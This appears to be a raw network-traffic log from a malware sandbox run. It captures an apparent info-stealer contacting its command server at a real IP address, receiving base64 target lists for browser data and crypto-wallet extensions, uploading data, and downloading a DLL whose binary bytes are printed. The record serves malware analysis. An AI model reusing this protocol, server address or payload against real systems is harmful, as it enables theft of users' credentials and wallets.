2024-04-24 16:52:04 UTC	9214	IN	Data Raw: 74 65 61 6d 67 61 6d 65 73 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 53 54 41 54 53 5f 42 41 53 45 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 70 61 72 74 6e 65 72 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 49 4e 54 45 52 4e 41 4c 5f 53 54 41 54 53 5f 42 41 53 45 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 65 61 6d 73 74 61 74 73 2e 76 61 6c 76 65 2e 6f 72 67 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 49 4e 5f 43 4c 49 45 4e 54 26 71 75 6f 74 3b 3a 66 61 6c 73 65 2c 26 71 75 6f 74 3b 55 53 45 5f 50 4f 50 55 50 53 26 71 75 6f 74 3b 3a 66 61 6c 73 65 2c 26 71 75 6f 74 3b 53 54 4f 52 45 5f 49 43 4f 4e 5f 42 41 Data Ascii: teamgames.com\/","STATS_BASE_URL":"https:\/\/partner.steampowered.com\/","INTERNAL_STATS_BASE_URL":"https:\/\/steamstats.valve.org\/","IN_CLIENT":false,"USE_POPUPS":false,"STORE_ICON_BA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49738	95.217.9.149	443	7664	C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 16:52:05 UTC	169	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 16:52:05 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 16:52:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-24 16:52:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49739	95.217.9.149	443	7664	C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 16:52:07 UTC	261	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKJJJDHDGDAAKECAKJD User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Content-Length: 279 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 16:52:07 UTC	279	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 42 41 30 34 33 37 44 30 38 30 45 31 38 34 35 31 35 30 30 37 30 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 2d 31 31 65 65 2d 38 63 31 38 2d 38 30 36 65 36 66 36 65 36 39 36 33 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 37 30 36 64 63 36 63 39 32 30 32 34 33 30 62 63 36 66 62 32 65 37 34 38 39 36 64 38 33 31 31 0d 0a 2d 2d 2d 2d 2d 2d Data Ascii: ------CBKJJJDHDGDAAKECAKJDContent-Disposition: form-data; name="hwid"3BA0437D080E1845150070-a33c7340-61ca-11ee-8c18-806e6f6e6963------CBKJJJDHDGDAAKECAKJDContent-Disposition: form-data; name="build_id"1706dc6c9202430bc6fb2e74896d8311------
2024-04-24 16:52:08 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 16:52:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-24 16:52:08 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 30 38 37 39 39 34 63 37 35 61 62 64 37 33 30 63 64 64 30 37 65 36 35 32 65 33 30 31 34 65 38 36 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 30 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|087994c75abd730cdd07e652e3014e86\|1\|1\|1\|0\|0\|50000\|00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49740	172.67.139.220	443	7832	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 16:52:09 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-04-24 16:52:09 UTC	916	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 24 Apr 2024 16:52:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MAuENdohXsTr%2FzDCTkYp5nnQrbNhc6OnkfQ7qRZ%2B0LMxr%2BoOiyNN70W4jvo4uvs4D6n9A%2B3JfuNTVMMFXnxJtF%2BhvDwd0mEaUlf8Rz9LagAkJheE6perDcQlvzYX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87979a276a692ebb-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 16:52:09 UTC	453	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 37 34 31 63 31 31 31 38 30 34 33 34 34 36 31 64 30 34 35 61 31 39 31 31 34 62 30 37 30 31 31 36 31 65 31 31 31 37 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#741c11180434461d045a19114b0701161e1117
2024-04-24 16:52:09 UTC	477	IN	Data Raw: 20 d0 ba 20 d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 35 62 33 33 33 65 33 37 32 62 31 62 36 39 33 32 32 62 37 35 32 65 33 61 36 34 32 38 32 65 33 39 33 31 33 65 33 38 32 66 36 36 36 39 33 32 32 62 37 35 32 65 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#5b333e372b1b69322b752e3a64282e39313e382f6669322b752e
2024-04-24 16:52:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49741	95.217.9.149	443	7664	C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 16:52:09 UTC	261	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAKFIDHDGIEGCAKFIIJK User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 16:52:09 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 37 39 39 34 63 37 35 61 62 64 37 33 30 63 64 64 30 37 65 36 35 32 65 33 30 31 34 65 38 36 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 37 30 36 64 63 36 63 39 32 30 32 34 33 30 62 63 36 66 62 32 65 37 34 38 39 36 64 38 33 31 31 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 0d 0a 43 6f 6e 74 Data Ascii: ------DAKFIDHDGIEGCAKFIIJKContent-Disposition: form-data; name="token"087994c75abd730cdd07e652e3014e86------DAKFIDHDGIEGCAKFIIJKContent-Disposition: form-data; name="build_id"1706dc6c9202430bc6fb2e74896d8311------DAKFIDHDGIEGCAKFIIJKCont
2024-04-24 16:52:10 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 16:52:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-24 16:52:10 UTC	1564	IN	Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49743	95.217.9.149	443	7664	C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 16:52:11 UTC	261	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAFIJKKEHJDHJKFIECAA User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 16:52:11 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 37 39 39 34 63 37 35 61 62 64 37 33 30 63 64 64 30 37 65 36 35 32 65 33 30 31 34 65 38 36 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 37 30 36 64 63 36 63 39 32 30 32 34 33 30 62 63 36 66 62 32 65 37 34 38 39 36 64 38 33 31 31 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 0d 0a 43 6f 6e 74 Data Ascii: ------AAFIJKKEHJDHJKFIECAAContent-Disposition: form-data; name="token"087994c75abd730cdd07e652e3014e86------AAFIJKKEHJDHJKFIECAAContent-Disposition: form-data; name="build_id"1706dc6c9202430bc6fb2e74896d8311------AAFIJKKEHJDHJKFIECAACont
2024-04-24 16:52:12 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 16:52:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-24 16:52:12 UTC	5165	IN	Data Raw: 31 34 32 30 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 1420TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49748	95.217.9.149	443	7664	C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 16:52:13 UTC	262	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCAFCAFHJJDBFIECFBKE User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Content-Length: 6897 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 16:52:13 UTC	6897	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 43 41 46 43 41 46 48 4a 4a 44 42 46 49 45 43 46 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 38 37 39 39 34 63 37 35 61 62 64 37 33 30 63 64 64 30 37 65 36 35 32 65 33 30 31 34 65 38 36 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 46 43 41 46 48 4a 4a 44 42 46 49 45 43 46 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 37 30 36 64 63 36 63 39 32 30 32 34 33 30 62 63 36 66 62 32 65 37 34 38 39 36 64 38 33 31 31 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 46 43 41 46 48 4a 4a 44 42 46 49 45 43 46 42 4b 45 0d 0a 43 6f 6e 74 Data Ascii: ------GCAFCAFHJJDBFIECFBKEContent-Disposition: form-data; name="token"087994c75abd730cdd07e652e3014e86------GCAFCAFHJJDBFIECFBKEContent-Disposition: form-data; name="build_id"1706dc6c9202430bc6fb2e74896d8311------GCAFCAFHJJDBFIECFBKECont
2024-04-24 16:52:14 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 16:52:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-24 16:52:14 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49750	95.217.9.149	443	7664	C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 16:52:15 UTC	177	OUT	GET /sqln.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 16:52:16 UTC	248	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 16:52:15 GMT Content-Type: application/octet-stream Content-Length: 2459136 Last-Modified: Sun, 14 Apr 2024 18:52:51 GMT Connection: close ETag: "661c2603-258600" Accept-Ranges: bytes
2024-04-24 16:52:16 UTC	16136	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZY
2024-04-24 16:52:16 UTC	16384	IN	Data Raw: cd 1e 00 e9 ba 58 1d 00 e9 7e 65 1b 00 e9 1b f0 1c 00 e9 01 21 1c 00 e9 b9 2a 1f 00 e9 d7 46 00 00 e9 92 83 17 00 e9 c5 ed 1e 00 e9 e8 57 03 00 e9 fa 7c 1b 00 e9 3e e1 00 00 e9 bd f4 1a 00 e9 b4 7c 00 00 e9 bf ca 1c 00 e9 4c db 1a 00 e9 31 31 1a 00 e9 34 e5 1c 00 e9 36 f1 1d 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: X~e!*FW\|>\|L1146
2024-04-24 16:52:16 UTC	16384	IN	Data Raw: 74 12 8a 50 01 3a 51 01 75 0e 83 c0 02 83 c1 02 84 d2 75 e4 33 c0 eb 05 1b c0 83 c8 01 85 c0 74 15 83 c6 0c 47 81 fe c0 03 00 00 72 bf 5f 5e b8 0c 00 00 00 5b c3 8d 0c 7f 8b 14 8d 38 25 24 10 8d 04 8d 34 25 24 10 85 d2 75 09 8b 10 89 14 8d 38 25 24 10 8b 4c 24 18 85 c9 5f 0f 44 ca 5e 89 08 33 c0 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 33 ff 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 53 6a 02 6a ff ff 74 24 1c 56 e8 78 0c 15 00 8b d8 83 c4 10 85 db 74 21 6a 00 ff 74 24 24 ff 74 24 24 ff 74 24 24 53 56 e8 9a 68 04 00 53 56 8b f8 e8 51 39 10 00 83 c4 20 80 7e 57 00 5b Data Ascii: tP:Quu3tGr_^[8%$4%$u8%$L$_D^3[Vt$W3FtPh $Sjjt$Vxt!jt$$t$$t$$SVhSVQ9 ~W[
2024-04-24 16:52:17 UTC	16384	IN	Data Raw: be 0e 83 f9 30 7d e9 89 74 24 74 81 e3 ff ff ff 7f 89 5c 24 30 83 f9 6c 75 35 4e 0f be 4e 01 46 89 74 24 74 85 c9 0f 85 f0 fd ff ff eb 21 0f be 4e 01 46 c6 44 24 37 01 89 74 24 74 83 f9 6c 75 0e 0f be 4e 01 46 89 74 24 74 c6 44 24 37 02 8b 44 24 38 33 f6 89 44 24 58 ba 70 53 21 10 c7 44 24 50 70 53 21 10 c6 44 24 2e 11 0f be 02 3b c8 74 16 83 c2 06 46 81 fa fa 53 21 10 7c ed 8a 4c 24 2e 8b 54 24 50 eb 19 8d 04 76 8a 0c 45 73 53 21 10 8d 14 45 70 53 21 10 89 54 24 50 88 4c 24 2e 0f b6 c1 83 f8 10 0f 87 d9 14 00 00 ff 24 85 24 e1 00 10 c6 44 24 37 01 c6 44 24 43 00 f6 42 02 01 0f 84 97 00 00 00 80 7c 24 2d 00 74 44 8b 74 24 70 8b 56 04 39 16 7f 22 0f 57 c0 66 0f 13 44 24 68 8b 4c 24 6c 8b 74 24 68 8a 54 24 35 89 74 24 28 89 4c 24 58 e9 f4 00 00 00 8b 46 08 Data Ascii: 0}t$t\$0lu5NNFt$t!NFD$7t$tluNFt$tD$7D$83D$XpS!D$PpS!D$.;tFS!\|L$.T$PvEsS!EpS!T$PL$.$$D$7D$CB\|$-tDt$pV9"WfD$hL$lt$hT$5t$(L$XF
2024-04-24 16:52:17 UTC	16384	IN	Data Raw: 24 14 3b c8 73 06 eb 0e 8b 44 24 14 8b c8 89 44 24 20 89 54 24 24 a1 08 22 24 10 03 44 24 10 99 8b f8 8b ea 85 f6 0f 85 6b 01 00 00 3b 6c 24 24 0f 8f 91 00 00 00 7c 08 3b f9 0f 83 87 00 00 00 8b 44 24 10 99 6a 00 8b ca c7 44 24 48 00 00 00 00 8d 54 24 48 89 44 24 38 52 51 50 55 57 89 4c 24 50 e8 38 3a ff ff 40 50 8b 44 24 34 50 8b 80 dc 00 00 00 ff d0 8b f0 83 c4 10 85 f6 75 1e 8b 54 24 1c 8b 44 24 44 55 57 ff 74 24 18 8b 0a ff 70 04 52 8b 41 0c ff d0 83 c4 14 8b f0 8b 44 24 44 85 c0 74 09 50 e8 dd f4 12 00 83 c4 04 03 7c 24 34 8b 4c 24 20 13 6c 24 38 85 f6 0f 84 6a ff ff ff e9 d0 00 00 00 8b 7c 24 1c 8d 4c 24 38 51 57 8b 07 8b 40 18 ff d0 8b f0 83 c4 08 85 f6 0f 85 b2 00 00 00 8b 4c 24 2c 39 4c 24 3c 7c 1e 7f 0a 8b 44 24 14 39 44 24 38 76 12 8b 07 51 ff Data Ascii: $;sD$D$ T$$"$D$k;l$$\|;D$jD$HT$HD$8RQPUWL$P8:@PD$4PuT$D$DUWt$pRAD$DtP\|$4L$ l$8j\|$L$8QW@L$,9L$<\|D$9D$8vQ
2024-04-24 16:52:17 UTC	16384	IN	Data Raw: 00 00 33 ff c7 40 0c 00 00 00 00 66 c7 40 11 01 00 8b 44 24 10 56 89 46 40 e8 3a 27 0d 00 83 c4 04 8b f0 eb 08 8b 7c 24 10 8b 74 24 0c 85 ff 0f 84 9d 00 00 00 83 47 10 ff 0f 85 93 00 00 00 ff 4b 3c 83 7f 08 01 75 0d 83 7f 0c 00 75 07 c7 43 1c ff ff ff ff 8b 07 85 c0 74 0e 50 53 e8 46 87 0a 00 83 c4 08 85 c0 75 0a 57 53 e8 38 88 0a 00 83 c4 08 57 53 e8 5e 81 0a 00 83 c4 08 83 3d 18 20 24 10 00 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 57 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 57 ff 15 3c 20 24 10 a1 38 82 24 10 83 c4 08 85 c0 74 13 50 ff 15 70 20 24 10 eb 07 57 ff 15 3c 20 24 10 83 c4 04 53 e8 a0 17 0d 00 83 c4 04 8b c6 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: 3@f@D$VF@:'\|$t$GK<uuCtPSFuWS8WS^= $tB8$tPh $WD $)$$W< $8$tPp $W< $S_^[]
